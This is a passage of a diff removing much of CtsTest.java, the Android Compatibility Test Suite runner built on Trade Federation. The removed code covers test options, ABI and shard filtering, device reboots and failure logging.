-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.ResultForwarder;
-import com.android.tradefed.targetprep.BuildError;
-import com.android.tradefed.targetprep.ITargetCleaner;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.IResumableTest;
-import com.android.tradefed.testtype.IShardableTest;
-import com.android.tradefed.testtype.InstrumentationTest;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.RunUtil;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import junit.framework.Test;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.ListIterator;
-import java.util.Map;
-import java.util.Set;
-
-
-/**
- * A {@link Test} for running CTS tests.
- * <p/>
- * Supports running all the tests contained in a CTS plan, or individual test packages.
- */
-public class CtsTest implements IDeviceTest, IResumableTest, IShardableTest, IBuildReceiver {
-    private static final String LOG_TAG = "CtsTest";
-
-    public static final String PLAN_OPTION = "plan";
-    private static final String PACKAGE_OPTION = "package";
-    private static final String CLASS_OPTION = "class";
-    private static final String METHOD_OPTION = "method";
-    private static final String TEST_OPTION = "test";
-    public static final String CONTINUE_OPTION = "continue-session";
-    public static final String RUN_KNOWN_FAILURES_OPTION = "run-known-failures";
-    private static final String INCLUDE_FILTERS_OPTION = "include";
-    private static final String EXCLUDE_FILTERS_OPTION = "exclude";
-
-    public static final String PACKAGE_NAME_METRIC = "packageName";
-    public static final String PACKAGE_ABI_METRIC = "packageAbi";
-    public static final String PACKAGE_DIGEST_METRIC = "packageDigest";
-
-    @Option(name = PLAN_OPTION, description = "the test plan to run.",
-            importance = Importance.IF_UNSET)
-    private String mPlanName = null;
-
-    @Option(name = PACKAGE_OPTION, shortName = 'p', description = "the test packages(s) to run.",
-            importance = Importance.IF_UNSET)
-    private Collection<String> mPackageNames = new ArrayList<String>();
-
-    @Option(name = "exclude-package", description = "the test packages(s) to exclude from the run.")
-    private Collection<String> mExcludedPackageNames = new ArrayList<String>();
-
-    @Option(name = CLASS_OPTION, shortName = 'c', description = "run a specific test class.",
-            importance = Importance.IF_UNSET)
-    private String mClassName = null;
-
-    @Option(name = METHOD_OPTION, shortName = 'm',
-            description = "run a specific test method, from given --class.",
-            importance = Importance.IF_UNSET)
-    private String mMethodName = null;
-
-    @Option(name = TEST_OPTION, shortName = 't', description = "run a specific test",
-            importance = Importance.IF_UNSET)
-    private String mTestName = null;
-
-    @Option(name = CONTINUE_OPTION,
-            description = "continue a previous test session.",
-            importance = Importance.IF_UNSET)
-    private Integer mContinueSessionId = null;
-
-    @Option(name = "skip-device-info", shortName = 'd', description =
-        "flag to control whether to collect info from device. Providing this flag will speed up " +
-        "test execution for short test runs but will result in required data being omitted from " +
-        "the test report.")
-    private boolean mSkipDeviceInfo = false;
-
-    @Option(name = "resume", description =
-        "flag to attempt to automatically resume aborted test run on another connected device. ")
-    private boolean mResume = false;
-
-    @Option(name = "shards", description =
-        "shard the tests to run into separately runnable chunks to execute on multiple devices " +
-        "concurrently.")
-    private int mShards = 1;
-
-    @Option(name = "screenshot", description =
-        "flag for taking a screenshot of the device when test execution is complete.")
-    private boolean mScreenshot = false;
-
-    @Option(name = "bugreport", shortName = 'b', description =
-        "take a bugreport after each failed test. " +
-        "Warning: can potentially use a lot of disk space.")
-    private boolean mBugreport = false;
-
-    @Option(name = RUN_KNOWN_FAILURES_OPTION, shortName = 'k', description =
-        "run tests including known failures")
-    private boolean mIncludeKnownFailures;
-
-    @Option(name = "disable-reboot", description =
-            "Do not reboot device after running some amount of tests. Default behavior is to reboot.")
-    private boolean mDisableReboot = false;
-
-    @Option(name = "reboot-wait-time", description =
-            "Additional wait time in ms after boot complete.")
-    private int mRebootWaitTimeMSec = 2 * 60 * 1000;
-
-    @Option(name = "reboot-interval", description =
-            "Interval between each reboot in min.")
-    private int mRebootIntervalMin = 30;
-
-    @Option(name = "screenshot-on-failure", description =
-            "take a screenshot on every test failure.")
-    private boolean mScreenshotOnFailures = false;
-
-    @Option(name = "logcat-on-failure", description =
-            "take a logcat snapshot on every test failure. Unlike --bugreport, this can capture" +
-            "logs even if connection with device has been lost, as well as being much more " +
-            "performant.")
-    private boolean mLogcatOnFailures = false;
-
-    @Option(name = AbiFormatter.FORCE_ABI_STRING,
-            description = AbiFormatter.FORCE_ABI_DESCRIPTION,
-            importance = Importance.IF_UNSET)
-    private String mForceAbi = null;
-
-    @Option(name = "logcat-on-failure-size", description =
-            "The max number of logcat data in bytes to capture when --logcat-on-failure is on. " +
-            "Should be an amount that can comfortably fit in memory.")
-    private int mMaxLogcatBytes = 500 * 1024; // 500K
-
-    @Option(name = "collect-deqp-logs", description =
-            "Collect dEQP logs from the device.")
-    private boolean mCollectDeqpLogs = false;
-
-    @Option(name = INCLUDE_FILTERS_OPTION, description = "Positive filters to pass to tests.")
-    private List<String> mPositiveFilters = new ArrayList<> ();
-
-    @Option(name = EXCLUDE_FILTERS_OPTION, description = "Negative filters to pass to tests.")
-    private List<String> mNegativeFilters = new ArrayList<> ();
-
-    @Option(name = "min-pre-reboot-package-count", description =
-            "The minimum number of packages to require a pre test reboot")
-    private int mMinPreRebootPackageCount = 2;
-
-    @Option(name = "skip-connectivity-check",
-            description = "Don't verify device connectivity between module execution.")
-    private boolean mSkipConnectivityCheck = false;
-
-    private final int mShardAssignment;
-    private final int mTotalShards;
-    private ITestDevice mDevice = null;
-    private CtsBuildHelper mCtsBuild = null;
-    private IBuildInfo mBuildInfo = null;
-    // last reboot time
-    private long mPrevRebootTime;
-    // The list of packages to run. populated in {@code setupTestPackageList}
-    // This is a member variable so that run can be called more than once
-    // and the test run is resumed.
-    private List<TestPackage> mTestPackageList = new ArrayList<>();
-    // The index in the pacakge list of the last test to complete
-    private int mLastTestPackageIndex = 0;
-
-    /** data structure for a {@link IRemoteTest} and its known tests */
-    static class TestPackage {
-        private final IRemoteTest mTestForPackage;
-        private final ITestPackageDef mPackageDef;
-        private final Collection<TestIdentifier> mKnownTests;
-
-        TestPackage(ITestPackageDef packageDef, IRemoteTest testForPackage) {
-            mPackageDef = packageDef;
-            mTestForPackage = testForPackage;
-            mKnownTests = packageDef.getTests();
-        }
-
-        IRemoteTest getTestForPackage() {
-            return mTestForPackage;
-        }
-
-        Collection<TestIdentifier> getKnownTests() {
-            return mKnownTests;
-        }
-
-        ITestPackageDef getPackageDef() {
-            return mPackageDef;
-        }
-
-        /**
-         * @return the test run name that should be used for the TestPackage.
-         */
-        String getTestRunName() {
-            return mPackageDef.getId();
-        }
-
-        /**
-         * @return the ABI on which the test will run.
-         */
-        IAbi getAbi() {
-            return mPackageDef.getAbi();
-        }
-    }
-
-    /**
-     * A {@link ResultForwarder} that will forward a bugreport on each failed test.
-     */
-    private static class FailedTestBugreportGenerator extends ResultForwarder {
-        private ITestDevice mDevice;
-
-        public FailedTestBugreportGenerator(ITestInvocationListener listener, ITestDevice device) {
-            super(listener);
-            mDevice = device;
-        }
-
-        @Override
-        public void testFailed(TestIdentifier test, String trace) {
-            super.testFailed(test, trace);
-            InputStreamSource bugSource = mDevice.getBugreport();
-            super.testLog(String.format("bug-%s_%s", test.getClassName(), test.getTestName()),
-                    LogDataType.TEXT, bugSource);
-            bugSource.cancel();
-        }
-    }
-
-    /**
-     * A {@link ResultForwarder} that will forward a logcat snapshot on each failed test.
-     */
-    private static class FailedTestLogcatGenerator extends ResultForwarder {
-        private ITestDevice mDevice;
-        private int mNumLogcatBytes;
-
-        public FailedTestLogcatGenerator(ITestInvocationListener listener, ITestDevice device,
-                int maxLogcatBytes) {
-            super(listener);
-            mDevice = device;
-            mNumLogcatBytes = maxLogcatBytes;
-        }
-
-        @Override
-        public void testFailed(TestIdentifier test, String trace) {
-            super.testFailed(test, trace);
-            // sleep 2s to ensure test failure stack trace makes it into logcat capture
-            RunUtil.getDefault().sleep(2 * 1000);
-            InputStreamSource logSource = mDevice.getLogcat(mNumLogcatBytes);
-            super.testLog(String.format("logcat-%s_%s", test.getClassName(), test.getTestName()),
-                    LogDataType.TEXT, logSource);
-            logSource.cancel();
-        }
-    }
-
-    /**
-     * A {@link ResultForwarder} that will forward a screenshot on test failures.
-     */
-    private static class FailedTestScreenshotGenerator extends ResultForwarder {
-        private ITestDevice mDevice;
-
-        public FailedTestScreenshotGenerator(ITestInvocationListener listener,
-                ITestDevice device) {
-            super(listener);
-            mDevice = device;
-        }
-
-        @Override
-        public void testFailed(TestIdentifier test, String trace) {
-            super.testFailed(test, trace);
-
-            try {
-                InputStreamSource screenSource = mDevice.getScreenshot();
-                super.testLog(String.format("screenshot-%s_%s", test.getClassName(),
-                        test.getTestName()), LogDataType.PNG, screenSource);
-                screenSource.cancel();
-            } catch (DeviceNotAvailableException e) {
-                // TODO: rethrow this somehow
-                CLog.e("Device %s became unavailable while capturing screenshot, %s",
-                        mDevice.getSerialNumber(), e.toString());
-            }
-        }
-    }
-
-    /**
-     * Create a new {@link CtsTest} that will run the default list of {@link TestPackage}s.
-     */
-    public CtsTest() {
-        this(0 /*shardAssignment*/, 1 /*totalShards*/);
-    }
-
-    /**
-     * Create a new {@link CtsTest} that will run the given {@link List} of {@link TestPackage}s.
-     */
-    public CtsTest(int shardAssignment, int totalShards) {
-        if (shardAssignment < 0) {
-            throw new IllegalArgumentException(
-                "shardAssignment cannot be negative. found:" + shardAssignment);
-        }
-        if (totalShards < 1) {
-            throw new IllegalArgumentException(
-                "shardAssignment must be at least 1. found:" + totalShards);
-        }
-        this.mShardAssignment = shardAssignment;
-        this.mTotalShards = totalShards;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    /**
-     * Set the plan name to run.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void setPlanName(String planName) {
-        mPlanName = planName;
-    }
-
-    /**
-     * Set the skip collect device info flag.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void setSkipDeviceInfo(boolean skipDeviceInfo) {
-        mSkipDeviceInfo = skipDeviceInfo;
-    }
-
-    /**
-     * Adds a package name to the list of test packages to run.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void addPackageName(String packageName) {
-        mPackageNames.add(packageName);
-    }
-
-    /**
-     * Adds a package name to the list of test packages to exclude.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void addExcludedPackageName(String packageName) {
-        mExcludedPackageNames.add(packageName);
-    }
-
-    /**
-     * Set the test class name to run.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void setClassName(String className) {
-        mClassName = className;
-    }
-
-    /**
-     * Set the test method name to run.
-     * <p/>
-     * Exposed for unit testing
-     */
-    void setMethodName(String methodName) {
-        mMethodName = methodName;
-    }
-
-    /**
-     * Set the test name to run e.g. android.test.cts.SampleTest#testSample
-     * <p/>
-     * Exposed for unit testing
-     */
-    void setTestName(String testName) {
-        mTestName = testName;
-    }
-
-    /**
-     * Sets the test session id to continue.
-     * <p/>
-     * Exposed for unit testing
-     */
-     void setContinueSessionId(int sessionId) {
-        mContinueSessionId = sessionId;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public boolean isResumable() {
-        return mResume;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(build);
-        mBuildInfo = build;
-    }
-
-    /**
-     * Set the CTS build container.
-     * <p/>
-     * Exposed so unit tests can mock the provided build.
-     */
-    void setBuildHelper(CtsBuildHelper buildHelper) {
-        mCtsBuild = buildHelper;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (getDevice() == null) {
-            throw new IllegalArgumentException("missing device");
-        }
-
-        Set<String> abiSet = getAbis();
-        if (abiSet == null || abiSet.isEmpty()) {
-            throw new IllegalArgumentException("could not get device's ABIs");
-        }
-        Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "ABIs: " + abiSet);
-
-        checkFields();
-        setupTestPackageList(abiSet);
-        if (mBugreport) {
-            listener = new FailedTestBugreportGenerator(listener, getDevice());
-        }
-        if (mScreenshotOnFailures) {
-            listener = new FailedTestScreenshotGenerator(listener, getDevice());
-        }
-        if (mLogcatOnFailures) {
-            listener = new FailedTestLogcatGenerator(listener, getDevice(), mMaxLogcatBytes);
-        }
-
-        // Setup the a map of Test id to ResultFilter
-        Map<String, ResultFilter> filterMap = new HashMap<>();
-        int totalTestCount = 0;
-        for (TestPackage testPackage : mTestPackageList) {
-            ResultFilter resultFilter = new ResultFilter(listener, testPackage);
-            totalTestCount += resultFilter.getKnownTestCount();
-            filterMap.put(testPackage.getPackageDef().getId(), resultFilter);
-        }
-
-        // collect and install the prerequisiteApks first, to save time when multiple test
-        // packages are using the same prerequisite apk
-        Map<String, Set<String>> prerequisiteApks = getPrerequisiteApks(mTestPackageList, abiSet);
-        Collection<String> uninstallPackages = getPrerequisitePackageNames(mTestPackageList);
-
-        try {
-            // always collect the device info, even for resumed runs, since test will likely be
-            // running on a different device
-            collectDeviceInfo(getDevice(), mCtsBuild, listener);
-            // prepare containers to hold test metric report logs.
-            prepareReportLogContainers(getDevice(), mBuildInfo);
-            preRebootIfNecessary(mTestPackageList);
-
-            mPrevRebootTime = System.currentTimeMillis();
-            int remainingPackageCount = mTestPackageList.size();
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
-                String.format("Start test run of %,d packages, containing %,d tests",
-                    remainingPackageCount, totalTestCount));
-            IAbi currentAbi = null;
-
-            // check connectivity upfront
-            if (!mSkipConnectivityCheck) {
-                MonitoringUtils.checkDeviceConnectivity(getDevice(), listener, "start");
-            }
-            for (int i = mLastTestPackageIndex; i < mTestPackageList.size(); i++) {
-                TestPackage testPackage = mTestPackageList.get(i);
-
-                if (currentAbi == null ||
-                    !currentAbi.getName().equals(testPackage.getAbi().getName())) {
-                    currentAbi = testPackage.getAbi();
-                    installPrerequisiteApks(
-                        prerequisiteApks.get(currentAbi.getName()), currentAbi);
-                }
-
-                IRemoteTest test = testPackage.getTestForPackage();
-                if (test instanceof IBuildReceiver) {
-                    ((IBuildReceiver) test).setBuild(mBuildInfo);
-                }
-                if (test instanceof IDeviceTest) {
-                    ((IDeviceTest) test).setDevice(getDevice());
-                }
-                if (test instanceof DeqpTestRunner) {
-                    ((DeqpTestRunner)test).setCollectLogs(mCollectDeqpLogs);
-                }
-                if (test instanceof GeeTest) {
-                    if (!mPositiveFilters.isEmpty()) {
-                        String positivePatterns = join(mPositiveFilters, ":");
-                        ((GeeTest)test).setPositiveFilters(positivePatterns);
-                    }
-                    if (!mNegativeFilters.isEmpty()) {
-                        String negativePatterns = join(mNegativeFilters, ":");
-                        ((GeeTest)test).setPositiveFilters(negativePatterns);
-                    }
-                }
-                if (test instanceof InstrumentationTest) {
-                    if (!mPositiveFilters.isEmpty()) {
-                        String annotation = join(mPositiveFilters, ",");
-                        ((InstrumentationTest)test).addInstrumentationArg(
-                                "annotation", annotation);
-                    }
-                    if (!mNegativeFilters.isEmpty()) {
-                        String notAnnotation = join(mNegativeFilters, ",");
-                        ((InstrumentationTest)test).addInstrumentationArg(
-                                "notAnnotation", notAnnotation);
-                    }
-                }
-
-                forwardPackageDetails(testPackage.getPackageDef(), listener);
-                try {
-                    performPackagePrepareSetup(testPackage.getPackageDef());
-                    test.run(filterMap.get(testPackage.getPackageDef().getId()));
-                    performPackagePreparerTearDown(testPackage.getPackageDef());
-                } catch (DeviceUnresponsiveException due) {
-                    // being able to catch a DeviceUnresponsiveException here implies that recovery
-                    // was successful, and test execution should proceed to next module
-                    ByteArrayOutputStream stack = new ByteArrayOutputStream();
-                    due.printStackTrace(new PrintWriter(stack, true));
-                    try {
-                        stack.close();
-                    } catch (IOException ioe) {
-                        // won't happen on BAOS
-                    }
-                    CLog.w("Ignored DeviceUnresponsiveException because recovery was successful, "
-                            + "proceeding with next test package. Stack trace: %s",
-                            stack.toString());
-                    CLog.w("This may be due to incorrect timeout setting on test package %s",
-                            testPackage.getPackageDef().getName());
-                }
-                if (!mSkipConnectivityCheck) {
-                    MonitoringUtils.checkDeviceConnectivity(getDevice(), listener,
-                            String.format("%s-%s", testPackage.getPackageDef().getName(),
-                                    testPackage.getPackageDef().getAbi().getName()));
-                }
-                if (i < mTestPackageList.size() - 1) {
-                    TestPackage nextPackage = mTestPackageList.get(i + 1);
-                    rebootIfNecessary(testPackage, nextPackage);
-                    changeToHomeScreen();
-                }
-                // Track of the last complete test package index for resume
-                mLastTestPackageIndex = i;
-            }
-
-            if (mScreenshot) {
-                InputStreamSource screenshotSource = getDevice().getScreenshot();
-                try {
-                    listener.testLog("screenshot", LogDataType.PNG, screenshotSource);
-                } finally {
-                    screenshotSource.cancel();
-                }
-            }
-
-            uninstallPrequisiteApks(uninstallPackages);
-            // Collect test metric report logs.
-            collectReportLogs(getDevice(), mBuildInfo);
-        } catch (RuntimeException e) {
-            CLog.e(e);
-            throw e;
-        } catch (Error e) {
-            CLog.e(e);
-            throw e;
-        } finally {
-            for (ResultFilter filter : filterMap.values()) {
-                filter.reportUnexecutedTests();
-            }
-        }
-    }
-
-    /**
-     * Invokes {@link ITargetPreparer}s configured for the test package. {@link TargetSetupError}s
-     * thrown by any preparer will be rethrown as {@link RuntimeException} so that the entire test
-     * package will be skipped for execution. Note that preparers will be invoked in the same order
-     * as they are defined in the module test config.
-     * @param packageDef definition for the test package
-     * @throws DeviceNotAvailableException
-     */
-    private void performPackagePrepareSetup(ITestPackageDef packageDef)
-            throws DeviceNotAvailableException {
-        List<ITargetPreparer> preparers = packageDef.getPackagePreparers();
-        if (preparers != null) {
-            for (ITargetPreparer preparer : preparers) {
-                if (preparer instanceof IAbiReceiver) {
-                    ((IAbiReceiver) preparer).setAbi(packageDef.getAbi());
-                }
-                try {
-                    preparer.setUp(getDevice(), mBuildInfo);
-                } catch (BuildError e) {
-                    // This should only happen for flashing new build
-                    CLog.e("Unexpected BuildError from preparer: %s",
-                        preparer.getClass().getCanonicalName());
-                } catch (TargetSetupError e) {
-                    // log preparer class then rethrow & let caller handle
-                    CLog.e("TargetSetupError in preparer: %s",
-                        preparer.getClass().getCanonicalName());
-                    throw new RuntimeException(e);
-                }
-            }
-        }
-    }
-
-    /**
-     * Invokes clean up step for {@link ITargetCleaner}s configured for the test package. Note that
-     * the cleaners will be invoked in the reverse order as they are defined in module test config.
-     * @param packageDef definition for the test package
-     * @throws DeviceNotAvailableException
-     */
-    private void performPackagePreparerTearDown(ITestPackageDef packageDef)
-            throws DeviceNotAvailableException {
-        List<ITargetPreparer> preparers = packageDef.getPackagePreparers();
-        if (preparers != null) {
-            ListIterator<ITargetPreparer> itr = preparers.listIterator(preparers.size());
-            // do teardown in reverse order
-            while (itr.hasPrevious()) {
-                ITargetPreparer preparer = itr.previous();
-                if (preparer instanceof ITargetCleaner) {
-                    ((ITargetCleaner) preparer).tearDown(getDevice(), mBuildInfo, null);
-                }
-            }
-        }
-    }
-
-    /**
-     * Helper method to join strings. Exposed for unit tests
-     * @param input
-     * @param conjunction
-     * @return string with elements of the input list with interleaved conjunction.
-     */
-    protected static String join(List<String> input, String conjunction) {
-        StringBuilder sb = new StringBuilder();
-        boolean first = true;
-        for (String item : input) {
-            if (first) {
-                first = false;
-            } else {
-                sb.append(conjunction);
-            }
-            sb.append(item);
-        }
-        return sb.toString();
-    }
-
-    /**
-     * @param allTestPackageDefList The package list to filter
-     * @param deviceAbiSet The ABIs supported by the device being tested
-     * @return A {@link List} of {@link ITestPackageDef}s that should be tested
-     */
-    private static List<ITestPackageDef> filterByAbi(
-            List<ITestPackageDef> allTestPackageDefList, Set<String> deviceAbiSet) {
-        List<ITestPackageDef> filteredTestPackageDefList = new LinkedList<>();
-        for (ITestPackageDef testPackageDef : allTestPackageDefList) {
-            if (deviceAbiSet.contains(testPackageDef.getAbi().getName())) {
-                // We only need test packages that are not empty and of matching ABIs
-                filteredTestPackageDefList.add(testPackageDef);
-            }
-        }
-        return filteredTestPackageDefList;
-    }
-
-    /** Reboot then the device iff the list of packages exceeds the minimum */
-    private void preRebootIfNecessary(List<TestPackage> testPackageList)
-            throws DeviceNotAvailableException {
-        if (mDisableReboot) {
-            return;
-        }
-
-        Set<String> packageNameSet = new HashSet<>();
-        for (TestPackage testPackage : testPackageList) {
-            // Parse the package name
-            packageNameSet.add(AbiUtils.parseTestName(testPackage.getPackageDef().getId()));
-        }
-        if (packageNameSet.size() < mMinPreRebootPackageCount) {
-            // There is actually only one unique package name. No need to reboot.
-            return;
-        }
-
-        // Reboot is needed
-        Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
-            String.format("Pre-test reboot (%,d packages). Use --disable-reboot to skip",
-                packageNameSet.size()));
-
-        rebootDevice();
-    }
-
-    private void rebootIfNecessary(TestPackage testFinished, TestPackage testToRun)
-            throws DeviceNotAvailableException {
-        // If there comes spurious failure like INJECT_EVENTS for a package,
-        // reboot it before running it.
-        // Also reboot after package which is know to leave pop-up behind
-        final List<String> rebootAfterList = Arrays.asList(
-                "CtsMediaTestCases",
-                "CtsAccessibilityTestCases",
-                "CtsAccountManagerTestCases");
-        final List<String> rebootBeforeList = Arrays.asList(
-                "CtsAnimationTestCases",
-                "CtsGraphicsTestCases",
-                "CtsViewTestCases",
-                "CtsWidgetTestCases" );
-        long intervalInMSec = mRebootIntervalMin * 60 * 1000;
-        if (mDisableReboot || mDevice.getSerialNumber().startsWith("emulator-")) {
-            return;
-        }
-        long currentTime = System.currentTimeMillis();
-        if (((currentTime - mPrevRebootTime) > intervalInMSec) ||
-                rebootAfterList.contains(testFinished.getPackageDef().getName()) ||
-                rebootBeforeList.contains(testToRun.getPackageDef().getName()) ) {
-            Log.i(LOG_TAG,
-                    String.format("Rebooting after running package %s, before package %s",
-                            testFinished.getPackageDef().getName(),
-                            testToRun.getPackageDef().getName()));
-            rebootDevice();
-            mPrevRebootTime = System.currentTimeMillis();
-        }
-    }
-
-    private void rebootDevice() throws DeviceNotAvailableException {
-        final int TIMEOUT_MS = 10 * 60 * 1000;
-        TestDeviceOptions options = mDevice.getOptions();
-        // store default value and increase time-out for reboot
-        int rebootTimeout = options.getRebootTimeout();
-        long onlineTimeout = options.getOnlineTimeout();
-        options.setRebootTimeout(TIMEOUT_MS);
-        options.setOnlineTimeout(TIMEOUT_MS);
-        mDevice.setOptions(options);
-
-        mDevice.reboot();
-
-        // restore default values
-        options.setRebootTimeout(rebootTimeout);
-        options.setOnlineTimeout(onlineTimeout);
-        mDevice.setOptions(options);
-        Log.i(LOG_TAG, "Rebooting done");
-        try {
-            Thread.sleep(mRebootWaitTimeMSec);
-        } catch (InterruptedException e) {
-            Log.i(LOG_TAG, "Boot wait interrupted");
-        }
-    }
-
-    /**
-     * Remove artifacts like status bar from the previous test.
-     * But this cannot dismiss dialog popped-up.
-     */
-    private void changeToHomeScreen() throws DeviceNotAvailableException {
-        final String homeCmd = "input keyevent 3";
-
-        mDevice.executeShellCommand(homeCmd);
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            //ignore
-        }
-    }
-
-    /**
-     * Set {@code mTestPackageList} to the list of test packages to run filtered by ABI.
-     */
-    private void setupTestPackageList(Set<String> abis) throws DeviceNotAvailableException {
-        if (!mTestPackageList.isEmpty()) {
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Resume tests using existing package list");
-            return;
-        }
-        try {
-            // Collect ALL tests
-            ITestPackageRepo testRepo = createTestCaseRepo();
-            List<ITestPackageDef> testPkgDefs = new ArrayList<>(getAvailableTestPackages(testRepo));
-            testPkgDefs = filterByAbi(testPkgDefs, abis);
-            // Note: run() relies on the fact that the list is reliably sorted for sharding purposes
-            Collections.sort(testPkgDefs);
-            // Create test package list.
-            List<TestPackage> testPackageList = new ArrayList<>();
-            for (ITestPackageDef testPackageDef : testPkgDefs) {
-                // Note: createTest filters the test list inside of testPackageDef by exclusion list
-                IRemoteTest testForPackage = testPackageDef.createTest(mCtsBuild.getTestCasesDir());
-                if (testPackageDef.getTests().size() > 0) {
-                    testPackageList.add(new TestPackage(testPackageDef, testForPackage));
-                }
-            }
-
-            // Filter by shard
-            int numTestPackages = testPackageList.size();
-            int totalShards = Math.min(mTotalShards, numTestPackages);
-
-            List<TestPackage> shardTestPackageList = new ArrayList<>();
-            for (int i = mShardAssignment; i < numTestPackages; i += totalShards) {
-                shardTestPackageList.add(testPackageList.get(i));
-            }
-            mTestPackageList.addAll(shardTestPackageList);
-        } catch (FileNotFoundException e) {
-            throw new IllegalArgumentException("failed to find test plan file", e);
-        } catch (ParseException e) {
-            throw new IllegalArgumentException("failed to parse test plan file", e);
-        } catch (ConfigurationException e) {
-            throw new IllegalArgumentException("failed to process arguments", e);
-        }
-    }
-
-    /**
-     * Return the {@link Set} of {@link ITestPackageDef}s to run unfiltered by ABI
-     *
-     * @return the {@link Set} of {@link ITestPackageDef}s to run
-     * @throws ParseException
-     * @throws FileNotFoundException
-     * @throws ConfigurationException
-     */
-    private Set<ITestPackageDef> getAvailableTestPackages(ITestPackageRepo testRepo)
-                throws ParseException, FileNotFoundException, ConfigurationException {
-        // use LinkedHashSet to have predictable iteration order
-        Set<ITestPackageDef> testPkgDefs = new LinkedHashSet<>();
-        if (mPlanName != null) {
-            Log.i(LOG_TAG, String.format("Executing CTS test plan %s", mPlanName));
-            File ctsPlanFile = mCtsBuild.getTestPlanFile(mPlanName);
-            ITestPlan plan = createPlan(mPlanName);
-            plan.parse(createXmlStream(ctsPlanFile));
-
-            for (String testId : plan.getTestIds()) {
-                if (mExcludedPackageNames.contains(AbiUtils.parseTestName(testId))) {
-                    continue;
-                }
-                ITestPackageDef testPackageDef = testRepo.getTestPackage(testId);
-                if (testPackageDef == null) {
-                    CLog.e("Could not find test id %s referenced in plan %s", testId, mPlanName);
-                    continue;
-                }
-
-                testPackageDef.setTestFilter(plan.getTestFilter(testId));
-                testPkgDefs.add(testPackageDef);
-            }
-        } else if (mPackageNames.size() > 0){
-            Log.i(LOG_TAG, String.format("Executing test packages %s", mPackageNames));
-
-            Map<String, List<ITestPackageDef>> testPackageDefMap =
-                    testRepo.getTestPackageDefsByName();
-
-            for (String name : mPackageNames) {
-                if (!testPackageDefMap.containsKey(name)) {
-                    throw new IllegalArgumentException(String.format(
-                            "Could not find test package %s. " +
-                                    "Use 'list packages' to see available packages.", name));
-                }
-                testPkgDefs.addAll(testPackageDefMap.get(name));
-            }
-        } else if (mClassName != null) {
-            Log.i(LOG_TAG, String.format("Executing CTS test class %s", mClassName));
-            testPkgDefs.addAll(buildTestPackageDefSet(testRepo, mClassName, mMethodName));
-        } else if (mTestName != null) {
-            Log.i(LOG_TAG, String.format("Executing CTS test %s", mTestName));
-            String [] split = mTestName.split("#");
-            if (split.length != 2) {
-                Log.logAndDisplay(LogLevel.WARN, LOG_TAG, String.format(
-                        "Could not parse class and method from test %s", mTestName));
-            } else {
-                String className = split[0];
-                String methodName = split[1];
-                testPkgDefs.addAll(buildTestPackageDefSet(testRepo, className, methodName));
-            }
-        } else if (mContinueSessionId != null) {
-            // create an in-memory derived plan that contains the notExecuted tests from previous
-            // session use timestamp as plan name so it will hopefully be unique
-            String uniquePlanName = Long.toString(System.currentTimeMillis());
-            PlanCreator planCreator = new PlanCreator(uniquePlanName, mContinueSessionId,
-                    CtsTestStatus.NOT_EXECUTED);
-            ITestPlan plan = createPlan(planCreator);
-            for (String testId : plan.getTestIds()) {
-                if (mExcludedPackageNames.contains(AbiUtils.parseTestName(testId))) {
-                    continue;
-                }
-                ITestPackageDef testPackageDef = testRepo.getTestPackage(testId);
-                if (testPackageDef == null) {
-                    CLog.e("Could not find test id %s referenced in plan %s", testId, mPlanName);
-                    continue;
-                }
-
-                testPackageDef.setTestFilter(plan.getTestFilter(testId));
-                testPkgDefs.add(testPackageDef);
-            }
-        } else {
-            // should never get here - was checkFields() not called?
-            throw new IllegalStateException("nothing to run?");
-        }
-        return testPkgDefs;
-    }
-
-    /**
-     * Return the list of unique prerequisite Android package names
-     *
-     * @param testPackages The {@link TestPackage}s that contain prerequisites
-     */
-    private Collection<String> getPrerequisitePackageNames(List<TestPackage> testPackages) {
-        Set<String> pkgNames = new HashSet<>();
-        for (TestPackage testPkg : testPackages) {
-            String pkgName = testPkg.mPackageDef.getTargetPackageName();
-            if (pkgName != null) {
-                pkgNames.add(pkgName);
-            }
-        }
-        return pkgNames;
-    }
-
-    /**
-     * @return a {@link Set} containing {@link ITestPackageDef}s pertaining to the given
-     *     {@code className} and {@code methodName}.
-     */
-    private static Set<ITestPackageDef> buildTestPackageDefSet(
-            ITestPackageRepo testRepo, String className, String methodName) {
-        Set<ITestPackageDef> testPkgDefs = new LinkedHashSet<>();
-        // try to find packages to run from class name
-        List<String> packageIds = testRepo.findPackageIdsForTest(className);
-        if (packageIds.isEmpty()) {
